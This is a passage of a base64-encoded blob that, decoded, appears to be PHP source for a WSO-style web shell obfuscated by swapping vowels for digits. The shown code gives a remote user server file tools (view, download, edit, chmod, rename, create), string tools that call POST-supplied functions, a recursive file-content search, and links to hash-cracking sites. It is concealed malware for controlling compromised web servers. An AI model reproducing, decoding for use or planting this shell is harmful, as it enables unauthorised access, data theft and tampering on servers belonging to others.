C8xPicuKCgkZlsndHlwNSddPT0nZjRsNScpPycgPDEgaHI1Zj0iIyIgMm5jbDRjaz0iZyhcJ0Y0bDVzVDIybHNcJyxuM2xsLFwnJy4zcmw1bmMyZDUoJGZbJ24xbTUnXSkuJ1wnLCBcJzVkNHRcJykiPkU8LzE+IDwxIGhyNWY9IiMiIDJuY2w0Y2s9ImcoXCdGNGw1c1QyMmxzXCcsbjNsbCxcJycuM3JsNW5jMmQ1KCRmWyduMW01J10pLidcJywgXCdkMndubDIxZFwnKSI+RDwvMT4nOicnKS4nPC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDo2Ow0KCX0NCgk1Y2gyICI8dHI+PHRkIGMybHNwMW49Nz4NCgk8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xIHYxbDM1PSdGNGw1c00xbic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9YyB2MWwzNT0nIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nIi4gKDRzczV0KCRfUE9TVFsnY2gxcnM1dCddKT8kX1BPU1RbJ2NoMXJzNXQnXTonJykuIic+DQoJPHM1bDVjdCBuMW01PSdwNic+PDJwdDQybiB2MWwzNT0nYzJweSc+QzJweTwvMnB0NDJuPjwycHQ0Mm4gdjFsMzU9J20ydjUnPk0ydjU8LzJwdDQybj48MnB0NDJuIHYxbDM1PSdkNWw1dDUnPkQ1bDV0NTwvMnB0NDJuPiI7DQogICAgNGYoY2wxc3NfNXg0c3RzKCdaNHBBcmNoNHY1JykpDQogICAgICAgIDVjaDIgIjwycHQ0Mm4gdjFsMzU9J3o0cCc+QzJtcHI1c3MgKHo0cCk8LzJwdDQybj48MnB0NDJuIHYxbDM1PSczbno0cCc+VW5jMm1wcjVzcyAoejRwKTwvMnB0NDJuPiI7DQogICAgNWNoMiAiPDJwdDQybiB2MWwzNT0ndDFyJz5DMm1wcjVzcyAodDFyLmd6KTwvMnB0NDJuPiI7DQogICAgNGYoITVtcHR5KCRfU0VTU0lPTlsnMWN0J10pICYmIEBjMjNudCgkX1NFU1NJT05bJ2YnXSkpDQogICAgICAgIDVjaDIgIjwycHQ0Mm4gdjFsMzU9J3Axc3Q1Jz5QMXN0NSAvIEMybXByNXNzPC8ycHQ0Mm4+IjsNCiAgICA1Y2gyICI8L3M1bDVjdD4mbmJzcDsiOw0KICAgIDRmKCE1bXB0eSgkX1NFU1NJT05bJzFjdCddKSAmJiBAYzIzbnQoJF9TRVNTSU9OWydmJ10pICYmICgoJF9TRVNTSU9OWycxY3QnXSA9PSAnejRwJykgfHwgKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3QxcicpKSkNCiAgICAgICAgNWNoMiAiZjRsNSBuMW01OiA8NG5wM3QgdHlwNT10NXh0IG4xbTU9cGEgdjFsMzU9J3dzMl8iIC4gZDF0NSgiWW1kX0g0cyIpIC4gIi4iIC4gKCRfU0VTU0lPTlsnMWN0J10gPT0gJ3o0cCc/J3o0cCc6J3Qxci5neicpIC4gIic+Jm5ic3A7IjsNCiAgICA1Y2gyICI8NG5wM3QgdHlwNT0nczNibTR0JyB2MWwzNT0nPj4nPjwvdGQ+PC90cj48L2Yycm0+PC90MWJsNT48L2Q0dj4iOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5TdHI0bmdUMjJscygpIHsNCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdoNXhhYjRuJykpIHtmM25jdDQybiBoNXhhYjRuKCRwKSB7cjV0M3JuIGQ1Y2I0bihoNXhkNWMoJHApKTt9fQ0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ2I0bmg1eCcpKSB7ZjNuY3Q0Mm4gYjRuaDV4KCRwKSB7cjV0M3JuIGQ1Y2g1eChiNG5kNWMoJHApKTt9fQ0KCTRmKCFmM25jdDQybl81eDRzdHMoJ2g1eGExc2M0NCcpKSB7ZjNuY3Q0Mm4gaDV4YTFzYzQ0KCRwKXskcj0nJztmMnIoJDQ9MDskNDxzdHJMNW4oJHApOyQ0Kz1hKXskci49Y2hyKGg1eGQ1YygkcFskNF0uJHBbJDQrNl0pKTt9cjV0M3JuICRyO319DQoJNGYoIWYzbmN0NDJuXzV4NHN0cygnMXNjNDRhaDV4JykpIHtmM25jdDQybiAxc2M0NGFoNXgoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49IHNwcjRudGYoJyUwYVgnLDJyZCgkcFskNF0pKTtyNXQzcm4gc3RydDIzcHA1cigkcik7fX0NCgk0ZighZjNuY3Q0Mm5fNXg0c3RzKCdmM2xsXzNybDVuYzJkNScpKSB7ZjNuY3Q0Mm4gZjNsbF8zcmw1bmMyZDUoJHApeyRyPScnO2YycigkND0wOyQ0PHN0cmw1bigkcCk7KyskNCkkci49ICclJy5kNWNoNXgoMnJkKCRwWyQ0XSkpO3I1dDNybiBzdHJ0MjNwcDVyKCRyKTt9fQ0KCSRzdHI0bmdUMjJscyA9IDFycjF5KA0KCQknQjFzNWV1IDVuYzJkNScgPT4gJ2IxczVldV81bmMyZDUnLA0KCQknQjFzNWV1IGQ1YzJkNScgPT4gJ2IxczVldV9kNWMyZDUnLA0KCQknVXJsIDVuYzJkNScgPT4gJzNybDVuYzJkNScsDQoJCSdVcmwgZDVjMmQ1JyA9PiAnM3JsZDVjMmQ1JywNCgkJJ0YzbGwgM3JsNW5jMmQ1JyA9PiAnZjNsbF8zcmw1bmMyZDUnLA0KCQknbWRpIGgxc2gnID0+ICdtZGknLA0KCQknc2gxNiBoMXNoJyA9PiAnc2gxNicsDQoJCSdjcnlwdCcgPT4gJ2NyeXB0JywNCgkJJ0NSQ29hJyA9PiAnY3Jjb2EnLA0KCQknQVNDSUkgdDIgSEVYJyA9PiAnMXNjNDRhaDV4JywNCgkJJ0hFWCB0MiBBU0NJSScgPT4gJ2g1eGExc2M0NCcsDQoJCSdIRVggdDIgREVDJyA9PiAnaDV4ZDVjJywNCgkJJ0hFWCB0MiBCSU4nID0+ICdoNXhhYjRuJywNCgkJJ0RFQyB0MiBIRVgnID0+ICdkNWNoNXgnLA0KCQknREVDIHQyIEJJTicgPT4gJ2Q1Y2I0bicsDQoJCSdCSU4gdDIgSEVYJyA9PiAnYjRuaDV4JywNCgkJJ0JJTiB0MiBERUMnID0+ICdiNG5kNWMnLA0KCQknU3RyNG5nIHQyIGwydzVyIGMxczUnID0+ICdzdHJ0MmwydzVyJywNCgkJJ1N0cjRuZyB0MiAzcHA1ciBjMXM1JyA9PiAnc3RydDIzcHA1cicsDQoJCSdIdG1sc3A1YzQxbGNoMXJzJyA9PiAnaHRtbHNwNWM0MWxjaDFycycsDQoJCSdTdHI0bmcgbDVuZ3RoJyA9PiAnc3RybDVuJywNCgkpOw0KCTRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KCQkkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXSA9IHRyMzU7DQoJCTJiX3N0MXJ0KCk7DQoJCTRmKDRuXzFycjF5KCRfUE9TVFsncDYnXSwgJHN0cjRuZ1QyMmxzKSkNCgkJCTVjaDIgJF9QT1NUWydwNiddKCRfUE9TVFsncGEnXSk7DQoJCSR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdzdHJPM3RwM3QnKS40bm41ckhUTUw9JyIuMWRkY3NsMXNoNXMoaHRtbHNwNWM0MWxjaDFycygyYl9nNXRfY2w1MW4oKSksIlxuXHJcdFxcJ1wwIikuIic7XG4iOw0KCQk1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOw0KCQk1eDR0Ow0KCX0NCgl3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+U3RyNG5nIGMybnY1cnM0Mm5zPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCgk0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KCQkkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXSA9IGYxbHM1Ow0KCTVjaDIgIjxmMnJtIG4xbTU9J3QyMmxzRjJybScgMm5TM2JtNHQ9JzRmKHRoNHMuMWoxeC5jaDVjazVkKXsxKG4zbGwsbjNsbCx0aDRzLnM1bDVjdFQyMmwudjFsMzUsdGg0cy40bnAzdC52MWwzNSk7fTVsczV7ZyhuM2xsLG4zbGwsdGg0cy5zNWw1Y3RUMjJsLnYxbDM1LHRoNHMuNG5wM3QudjFsMzUpO30gcjV0M3JuIGYxbHM1Oyc+PHM1bDVjdCBuMW01PSdzNWw1Y3RUMjJsJz4iOw0KCWYycjUxY2goJHN0cjRuZ1QyMmxzIDFzICRrID0+ICR2KQ0KCQk1Y2gyICI8MnB0NDJuIHYxbDM1PSciLmh0bWxzcDVjNDFsY2gxcnMoJHYpLiInPiIuJGsuIjwvMnB0NDJuPiI7DQoJCTVjaDIgIjwvczVsNWN0Pjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+PicvPiA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAiLihAJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLicxajF4J10/J2NoNWNrNWQnOicnKS4iPiBzNW5kIDNzNG5nIEFKQVg8YnI+PHQ1eHQxcjUxIG4xbTU9JzRucDN0JyBzdHlsNT0nbTFyZzRuLXQycDppcHgnIGNsMXNzPWI0ZzFyNTE+Ii4oNW1wdHkoJF9QT1NUWydwNiddKT8nJzpodG1sc3A1YzQxbGNoMXJzKEAkX1BPU1RbJ3BhJ10pKS4iPC90NXh0MXI1MT48L2Yycm0+PHByNSBjbDFzcz0nbWw2JyBzdHlsNT0nIi4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLiJtMXJnNG4tdDJwOmlweCcgNGQ9J3N0ck8zdHAzdCc+IjsNCgk0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KCQk0Zig0bl8xcnIxeSgkX1BPU1RbJ3A2J10sICRzdHI0bmdUMjJscykpNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSgkX1BPU1RbJ3BhJ10pKTsNCgl9DQoJNWNoMiI8L3ByNT48L2Q0dj48YnI+PGg2PlM1MXJjaCB0NXh0IDRuIGY0bDVzOjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KCQk8ZjJybSAybnMzYm00dD1cImcobjNsbCx0aDRzLmN3ZC52MWwzNSxuM2xsLHRoNHMudDV4dC52MWwzNSx0aDRzLmY0bDVuMW01LnYxbDM1KTtyNXQzcm4gZjFsczU7XCI+PHQxYmw1IGM1bGxwMWRkNG5nPSc2JyBjNWxsc3AxYzRuZz0nMCcgdzRkdGg9J2kwJSc+DQoJCQk8dHI+PHRkIHc0ZHRoPSc2JSc+VDV4dDo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0ndDV4dCcgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+UDF0aDo8L3RkPjx0ZD48NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0nY3dkJyB2MWwzNT0nIi4gaHRtbHNwNWM0MWxjaDFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5OMW01OjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdmNGw1bjFtNScgdjFsMzU9JyonIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSdzM2JtNHQnIHYxbDM1PSc+Pic+PC90ZD48L3RyPg0KCQkJPC90MWJsNT48L2Yycm0+IjsNCg0KCWYzbmN0NDJuIHdzMlI1YzNyczR2NUdsMmIoJHAxdGgpIHsNCgkJNGYoczNic3RyKCRwMXRoLCAtNikgIT0gJy8nKQ0KCQkJJHAxdGguPScvJzsNCgkJJHAxdGhzID0gQDFycjF5XzNuNHEzNShAMXJyMXlfbTVyZzUoQGdsMmIoJHAxdGguJF9QT1NUWydwbyddKSwgQGdsMmIoJHAxdGguJyonLCBHTE9CX09OTFlESVIpKSk7DQoJCTRmKDRzXzFycjF5KCRwMXRocykmJkBjMjNudCgkcDF0aHMpKSB7DQoJCQlmMnI1MWNoKCRwMXRocyAxcyAkNHQ1bSkgew0KCQkJCTRmKEA0c19kNHIoJDR0NW0pKXsNCgkJCQkJNGYoJHAxdGghPSQ0dDVtKQ0KCQkJCQkJd3MyUjVjM3JzNHY1R2wyYigkNHQ1bSk7DQoJCQkJfSA1bHM1IHsNCgkJCQkJNGYoQHN0cnAycyhAZjRsNV9nNXRfYzJudDVudHMoJDR0NW0pLCBAJF9QT1NUWydwYSddKSE9PWYxbHM1KQ0KCQkJCQkJNWNoMiAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIixuM2xsLFwiIi4zcmw1bmMyZDUoJDR0NW0pLiJcIiwgXCJ2NDV3XCIpJz4iLmh0bWxzcDVjNDFsY2gxcnMoJDR0NW0pLiI8LzE+PGJyPiI7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJfQ0KCTRmKEAkX1BPU1RbJ3BvJ10pDQoJCXdzMlI1YzNyczR2NUdsMmIoJF9QT1NUWydjJ10pOw0KCTVjaDIgIjwvZDR2Pjxicj48aDY+UzUxcmNoIGYyciBoMXNoOjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pg0KCQk8ZjJybSBtNXRoMmQ9J3Ayc3QnIHQxcmc1dD0nX2JsMW5rJyBuMW01PSdoZic+DQoJCQk8NG5wM3QgdHlwNT0ndDV4dCcgbjFtNT0naDFzaCcgc3R5bDU9J3c0ZHRoOmEwMHB4Oyc+PGJyPg0KCQkJPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J2gxc2hjcjFjay5jMm0nIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHA6Ly93d3cuaDFzaGNyMWNrLmMybS80bmQ1eC5waHAnO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KCQkJPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J200bHcwcm0uYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vd3d3Lm00bHcwcm0uYzJtL2NyMWNrNXIvczUxcmNoLnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0naDFzaGNyMWNrNG5nLjRuZjInIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHBzOi8vaDFzaGNyMWNrNG5nLjRuZjIvNG5kNXgucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdtZGkucjVkbjI0ejUuYzJtJyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vbWRpLnI1ZG4yNHo1LmMybS8/cT0nK2QyYzNtNW50LmhmLmgxc2gudjFsMzUrJyZzPW1kaSc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbWRpZDVjcnlwdDVyLmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL3d3dy5tZGlkNWNyeXB0NXIuYzJtLyc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQoJCTwvZjJybT48L2Q0dj4iOw0KCXdzMkYyMnQ1cigpOw0KfQ0KDQpmM25jdDQybiAxY3Q0Mm5GNGw1c1QyMmxzKCkgew0KCTRmKCA0c3M1dCgkX1BPU1RbJ3A2J10pICkNCgkJJF9QT1NUWydwNiddID0gM3JsZDVjMmQ1KCRfUE9TVFsncDYnXSk7DQoJNGYoQCRfUE9TVFsncGEnXT09J2Qyd25sMjFkJykgew0KCQk0ZihANHNfZjRsNSgkX1BPU1RbJ3A2J10pICYmIEA0c19yNTFkMWJsNSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkyYl9zdDFydCgiMmJfZ3poMW5kbDVyIiwgdTA5ZSk7DQoJCQloNTFkNXIoIkMybnQ1bnQtRDRzcDJzNHQ0Mm46IDF0dDFjaG01bnQ7IGY0bDVuMW01PSIuYjFzNW4xbTUoJF9QT1NUWydwNiddKSk7DQoJCQk0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCJtNG01X2MybnQ1bnRfdHlwNSIpKSB7DQoJCQkJJHR5cDUgPSBAbTRtNV9jMm50NW50X3R5cDUoJF9QT1NUWydwNiddKTsNCgkJCQloNTFkNXIoIkMybnQ1bnQtVHlwNTogIiAuICR0eXA1KTsNCgkJCX0gNWxzNQ0KICAgICAgICAgICAgICAgIGg1MWQ1cigiQzJudDVudC1UeXA1OiAxcHBsNGMxdDQybi8yY3Q1dC1zdHI1MW0iKTsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICJyIik7DQoJCQk0ZigkZnApIHsNCgkJCQl3aDRsNSghQGY1MmYoJGZwKSkNCgkJCQkJNWNoMiBAZnI1MWQoJGZwLCA2MGF1KTsNCgkJCQlmY2wyczUoJGZwKTsNCgkJCX0NCgkJfTV4NHQ7DQoJfQ0KCTRmKCBAJF9QT1NUWydwYSddID09ICdta2Y0bDUnICkgew0KCQk0ZighZjRsNV81eDRzdHMoJF9QT1NUWydwNiddKSkgew0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgJ3cnKTsNCgkJCTRmKCRmcCkgew0KCQkJCSRfUE9TVFsncGEnXSA9ICI1ZDR0IjsNCgkJCQlmY2wyczUoJGZwKTsNCgkJCX0NCgkJfQ0KCX0NCgl3czJINTFkNXIoKTsNCgk1Y2gyICc8aDY+RjRsNSB0MjJsczwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQoJNGYoICFmNGw1XzV4NHN0cyhAJF9QT1NUWydwNiddKSApIHsNCgkJNWNoMiAnRjRsNSBuMnQgNXg0c3RzJzsNCgkJd3MyRjIydDVyKCk7DQoJCXI1dDNybjsNCgl9DQoJJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChAZjRsNTJ3bjVyKCRfUE9TVFsncDYnXSkpOw0KCTRmKCEkMzRkKSB7DQoJCSQzNGRbJ24xbTUnXSA9IEBmNGw1MnduNXIoJF9QT1NUWydwNiddKTsNCgkJJGc0ZFsnbjFtNSddID0gQGY0bDVncjIzcCgkX1BPU1RbJ3A2J10pOw0KCX0gNWxzNSAkZzRkID0gQHAyczR4X2c1dGdyZzRkKEBmNGw1Z3IyM3AoJF9QT1NUWydwNiddKSk7DQoJNWNoMiAnPHNwMW4+TjFtNTo8L3NwMW4+ICcuaHRtbHNwNWM0MWxjaDFycyhAYjFzNW4xbTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5TNHo1Ojwvc3Axbj4gJy4oNHNfZjRsNSgkX1BPU1RbJ3A2J10pP3dzMlY0NXdTNHo1KGY0bDVzNHo1KCRfUE9TVFsncDYnXSkpOictJykuJyA8c3Axbj5QNXJtNHNzNDJuOjwvc3Axbj4gJy53czJQNXJtc0MybDJyKCRfUE9TVFsncDYnXSkuJyA8c3Axbj5Pd241ci9HcjIzcDo8L3NwMW4+ICcuJDM0ZFsnbjFtNSddLicvJy4kZzRkWyduMW01J10uJzxicj4nOw0KCTVjaDIgJzxzcDFuPkNyNTF0NSB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNWN0NG01KCRfUE9TVFsncDYnXSkpLicgPHNwMW4+QWNjNXNzIHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1MXQ0bTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5NMmQ0ZnkgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDVtdDRtNSgkX1BPU1RbJ3A2J10pKS4nPGJyPjxicj4nOw0KCTRmKCA1bXB0eSgkX1BPU1RbJ3BhJ10pICkNCgkJJF9QT1NUWydwYSddID0gJ3Y0NXcnOw0KCTRmKCA0c19mNGw1KCRfUE9TVFsncDYnXSkgKQ0KCQkkbSA9IDFycjF5KCdWNDV3JywgJ0g0Z2hsNGdodCcsICdEMndubDIxZCcsICdINXhkM21wJywgJ0VkNHQnLCAnQ2htMmQnLCAnUjVuMW01JywgJ1QyM2NoJyk7DQoJNWxzNQ0KCQkkbSA9IDFycjF5KCdDaG0yZCcsICdSNW4xbTUnLCAnVDIzY2gnKTsNCglmMnI1MWNoKCRtIDFzICR2KQ0KCQk1Y2gyICc8MSBocjVmPSMgMm5jbDRjaz0iZyhuM2xsLG4zbGwsbjNsbCxcJycuc3RydDJsMnc1cigkdikuJ1wnKSI+Jy4oKHN0cnQybDJ3NXIoJHYpPT1AJF9QT1NUWydwYSddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC8xPiAnOw0KCTVjaDIgJzxicj48YnI+JzsNCglzdzR0Y2goJF9QT1NUWydwYSddKSB7DQoJCWMxczUgJ3Y0NXcnOg0KCQkJNWNoMiAnPHByNSBjbDFzcz1tbDY+JzsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICdyJyk7DQoJCQk0ZigkZnApIHsNCgkJCQl3aDRsNSggIUBmNTJmKCRmcCkgKQ0KCQkJCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoQGZyNTFkKCRmcCwgNjBhdSkpOw0KCQkJCUBmY2wyczUoJGZwKTsNCgkJCX0NCgkJCTVjaDIgJzwvcHI1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAnaDRnaGw0Z2h0JzoNCgkJCTRmKCBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSApIHsNCgkJCQk1Y2gyICc8ZDR2IGNsMXNzPW1sNiBzdHlsNT0iYjFja2dyMjNuZC1jMmwycjogIzU2NTY1NjtjMmwycjpibDFjazsiPic7DQoJCQkJJGMyZDUgPSBAaDRnaGw0Z2h0X2Y0bDUoJF9QT1NUWydwNiddLHRyMzUpOw0KCQkJCTVjaDIgc3RyX3I1cGwxYzUoMXJyMXkoJzxzcDFuICcsJzwvc3Axbj4nKSwgMXJyMXkoJzxmMm50ICcsJzwvZjJudD4nKSwkYzJkNSkuJzwvZDR2Pic7DQoJCQl9DQoJCQlicjUxazsNCgkJYzFzNSAnY2htMmQnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSRwNXJtcyA9IDA7DQoJCQkJZjJyKCQ0PXN0cmw1bigkX1BPU1RbJ3BvJ10pLTY7JDQ+PTA7LS0kNCkNCgkJCQkJJHA1cm1zICs9ICg0bnQpJF9QT1NUWydwbyddWyQ0XSpwMncoOCwgKHN0cmw1bigkX1BPU1RbJ3BvJ10pLSQ0LTYpKTsNCgkJCQk0ZighQGNobTJkKCRfUE9TVFsncDYnXSwgJHA1cm1zKSkNCgkJCQkJNWNoMiAnQzFuXCd0IHM1dCBwNXJtNHNzNDJucyE8YnI+PHNjcjRwdD5kMmMzbTVudC5tZi5wby52MWwzNT0iIjs8L3NjcjRwdD4nOw0KCQkJfQ0KCQkJY2w1MXJzdDF0YzFjaDUoKTsNCgkJCTVjaDIgJzxzY3I0cHQ+cG9fPSIiOzwvc2NyNHB0PjxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsdGg0cy5jaG0yZC52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PDRucDN0IHR5cDU9dDV4dCBuMW01PWNobTJkIHYxbDM1PSInLnMzYnN0cihzcHI0bnRmKCclMicsIGY0bDVwNXJtcygkX1BPU1RbJ3A2J10pKSwtdSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAnNWQ0dCc6DQoJCQk0ZiggITRzX3dyNHQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCgkJCQk1Y2gyICdGNGw1IDRzblwndCB3cjR0NTFibDUnOw0KCQkJCWJyNTFrOw0KCQkJfQ0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSR0NG01ID0gQGY0bDVtdDRtNSgkX1BPU1RbJ3A2J10pOw0KCQkJCSRfUE9TVFsncG8nXSA9IHMzYnN0cigkX1BPU1RbJ3BvJ10sNik7DQoJCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwidyIpOw0KCQkJCTRmKCRmcCkgew0KCQkJCQlAZndyNHQ1KCRmcCwkX1BPU1RbJ3BvJ10pOw0KCQkJCQlAZmNsMnM1KCRmcCk7DQoJCQkJCTVjaDIgJ1MxdjVkITxicj48c2NyNHB0PnBvXz0iIjs8L3NjcjRwdD4nOw0KCQkJCQlAdDIzY2goJF9QT1NUWydwNiddLCR0NG01LCR0NG01KTsNCgkJCQl9DQoJCQl9DQoJCQk1Y2gyICc8ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNsbCxuM2xsLFwnNlwnK3RoNHMudDV4dC52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PHQ1eHQxcjUxIG4xbTU9dDV4dCBjbDFzcz1iNGcxcjUxPic7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAncicpOw0KCQkJNGYoJGZwKSB7DQoJCQkJd2g0bDUoICFAZjUyZigkZnApICkNCgkJCQkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKEBmcjUxZCgkZnAsIDYwYXUpKTsNCgkJCQlAZmNsMnM1KCRmcCk7DQoJCQl9DQoJCQk1Y2gyICc8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ2g1eGQzbXAnOg0KCQkJJGMgPSBAZjRsNV9nNXRfYzJudDVudHMoJF9QT1NUWydwNiddKTsNCgkJCSRuID0gMDsNCgkJCSRoID0gMXJyMXkoJzAwMDAwMDAwPGJyPicsJycsJycpOw0KCQkJJGw1biA9IHN0cmw1bigkYyk7DQoJCQlmMnIgKCQ0PTA7ICQ0PCRsNW47ICsrJDQpIHsNCgkJCQkkaFs2XSAuPSBzcHI0bnRmKCclMGFYJywycmQoJGNbJDRdKSkuJyAnOw0KCQkJCXN3NHRjaCAoIDJyZCgkY1skNF0pICkgew0KCQkJCQljMXM1IDA6ICAkaFthXSAuPSAnICc7IGJyNTFrOw0KCQkJCQljMXM1IDk6ICAkaFthXSAuPSAnICc7IGJyNTFrOw0KCQkJCQljMXM1IDYwOiAkaFthXSAuPSAnICc7IGJyNTFrOw0KCQkJCQljMXM1IDZvOiAkaFthXSAuPSAnICc7IGJyNTFrOw0KCQkJCQlkNWYxM2x0OiAkaFthXSAuPSAkY1skNF07IGJyNTFrOw0KCQkJCX0NCgkJCQkkbisrOw0KCQkJCTRmICgkbiA9PSBvYSkgew0KCQkJCQkkbiA9IDA7DQoJCQkJCTRmICgkNCs2IDwgJGw1bikgeyRoWzBdIC49IHNwcjRudGYoJyUwOFgnLCQ0KzYpLic8YnI+Jzt9DQoJCQkJCSRoWzZdIC49ICc8YnI+JzsNCgkJCQkJJGhbYV0gLj0gIlxuIjsNCgkJCQl9DQoJCSAJfQ0KCQkJNWNoMiAnPHQxYmw1IGM1bGxzcDFjNG5nPTYgYzVsbHAxZGQ0bmc9aSBiZ2MybDJyPSNhYWFhYWE+PHRyPjx0ZCBiZ2MybDJyPSNvb29vb28+PHNwMW4gc3R5bDU9ImYybnQtdzU0Z2h0OiBuMnJtMWw7Ij48cHI1PicuJGhbMF0uJzwvcHI1Pjwvc3Axbj48L3RkPjx0ZCBiZ2MybDJyPSNhOGE4YTg+PHByNT4nLiRoWzZdLic8L3ByNT48L3RkPjx0ZCBiZ2MybDJyPSNvb29vb28+PHByNT4nLmh0bWxzcDVjNDFsY2gxcnMoJGhbYV0pLic8L3ByNT48L3RkPjwvdHI+PC90MWJsNT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ3I1bjFtNSc6DQoJCQk0ZiggITVtcHR5KCRfUE9TVFsncG8nXSkgKSB7DQoJCQkJNGYoIUByNW4xbTUoJF9QT1NUWydwNiddLCAkX1BPU1RbJ3BvJ10pKQ0KCQkJCQk1Y2gyICdDMW5cJ3QgcjVuMW01ITxicj4nOw0KCQkJCTVsczUNCgkJCQkJZDQ1KCc8c2NyNHB0PmcobjNsbCxuM2xsLCInLjNybDVuYzJkNSgkX1BPU1RbJ3BvJ10pLiciLG4zbGwsIiIpPC9zY3I0cHQ+Jyk7DQoJCQl9DQoJCQk1Y2gyICc8ZjJybSAybnMzYm00dD0iZyhuM2xsLG4zbGwsbjNs